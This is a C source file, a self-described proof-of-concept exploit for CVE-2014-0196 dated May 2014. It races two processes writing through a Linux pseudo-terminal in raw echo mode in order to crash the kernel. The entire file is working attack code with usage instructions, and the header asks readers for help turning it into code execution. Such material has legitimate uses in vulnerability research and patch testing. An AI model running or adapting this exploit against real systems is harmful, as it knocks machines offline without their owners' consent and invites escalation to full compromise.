|
/* CVE-2014-0196 DOS PoC [Written May 5th, 2014]
* by DigitalCold <digitalcold0@gmail.com>
*
* Note: this crashes my i686 Gentoo system running 3.12.14
* and an old Backtrack 5r3 running 3.2.6. Any advice on how to gain
* code exec would be greatly appreciated.
*
* Usage: gcc -O2 -o pty pty.c -lutil && ./pty
*
* CVE: http://people.canonical.com/~ubuntu-security/cve/2014/CVE-2014-0196.html
* Bug discussion: http://bugzillafiles.novell.org/attachment.cgi?id=588355
* How-to-pty: http://rachid.koucha.free.fr/tech_corner/pty_pdip.html
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <time.h>
#include <sys/mman.h>
#include <pty.h>
#include <termios.h>
#include <fcntl.h>
// used to sync the two writer processes
volatile static int * Sync = NULL;
int main() {
int master, res;
struct termios tp;
Sync = mmap(NULL, sizeof *Sync, PROT_READ | PROT_WRITE,
MAP_SHARED | MAP_ANONYMOUS, -1, 0);
if(Sync == MAP_FAILED)
{
perror("Sync mmap");
exit(1);
}
// hold
*Sync = 0;
// create a child with a new PTY connection
pid_t child = forkpty(&master, NULL, NULL, NULL);
if(child == -1) {
perror("forkpty");
exit(1);
}
// parent
else if(child > 0) {
printf("CVE-2014-0196 DOS PoC by DigitalCold\n", getpid(), child);
printf("[+] New PTY - Master PID %d, Slave PID %d\n", getpid(), child);
printf("[+] Starting bombing run...\n");
int flags = fcntl(master, F_GETFL, 0);
fcntl(master, F_SETFL, flags | O_NONBLOCK);
// synchronizer process
int doSync = fork();
if(!doSync) { // child
// sync the two processes (CLK)
while(1) {
sleep(1);
*Sync = 1; // release
sleep(1);
*Sync = 0;
}
}
else if(doSync < 0)
{
perror("sync fork");
exit(1);
}
// used for printing status
int cnt = 0;
char readBuf[256<<3];
while(1) {
while(!*Sync) usleep(1000);
if(write(master, readBuf, sizeof readBuf) < 0) {
if(errno != EAGAIN) {
perror("master write");
exit(1);
}
}
// shovel the input
if(read(master, readBuf, sizeof readBuf) < 0) {
if(errno != EAGAIN) {
perror("master read");
exit(1);
}
}
if(cnt >= 200000) {
fprintf(stderr, "\n[-] No crash? Maybe you're not vulnerable...\n");
exit(1);
}
else if(cnt++ % 200 == 0)
fprintf(stderr, ".");
}
}
else { // child
char discard[1024];
if(tcgetattr(0, &tp) == -1)
perror("tcgetattr");
// enable raw mode with ECHO to trigger the bug
cfmakeraw(&tp);
tp.c_lflag |= ECHO;
if(tcsetattr(0, TCSAFLUSH, &tp) == -1)
perror("tcsetattr");
// make stdin and stdout non-blocking
int flags = fcntl(0, F_GETFL, 0);
fcntl(0, F_SETFL, flags | O_NONBLOCK);
flags = fcntl(1, F_GETFL, 0);
fcntl(1, F_SETFL, flags | O_NONBLOCK);
// construct a lengthy crash string
size_t badStrSz = 256<<2;
char * badStr = malloc(badStrSz);
int i;
for(i = 0; i < badStrSz; i++)
badStr[i] = 'A';
// slave loop
while(1) {
while(!*Sync) usleep(1000);
if(write(1, badStr, badStrSz) < 0)
if(errno != EAGAIN)
exit(1);
// eat the incoming data
if(read(0, discard, sizeof discard) < 0)
if(errno != EAGAIN)
exit(1);
}
}
return 0;
}
|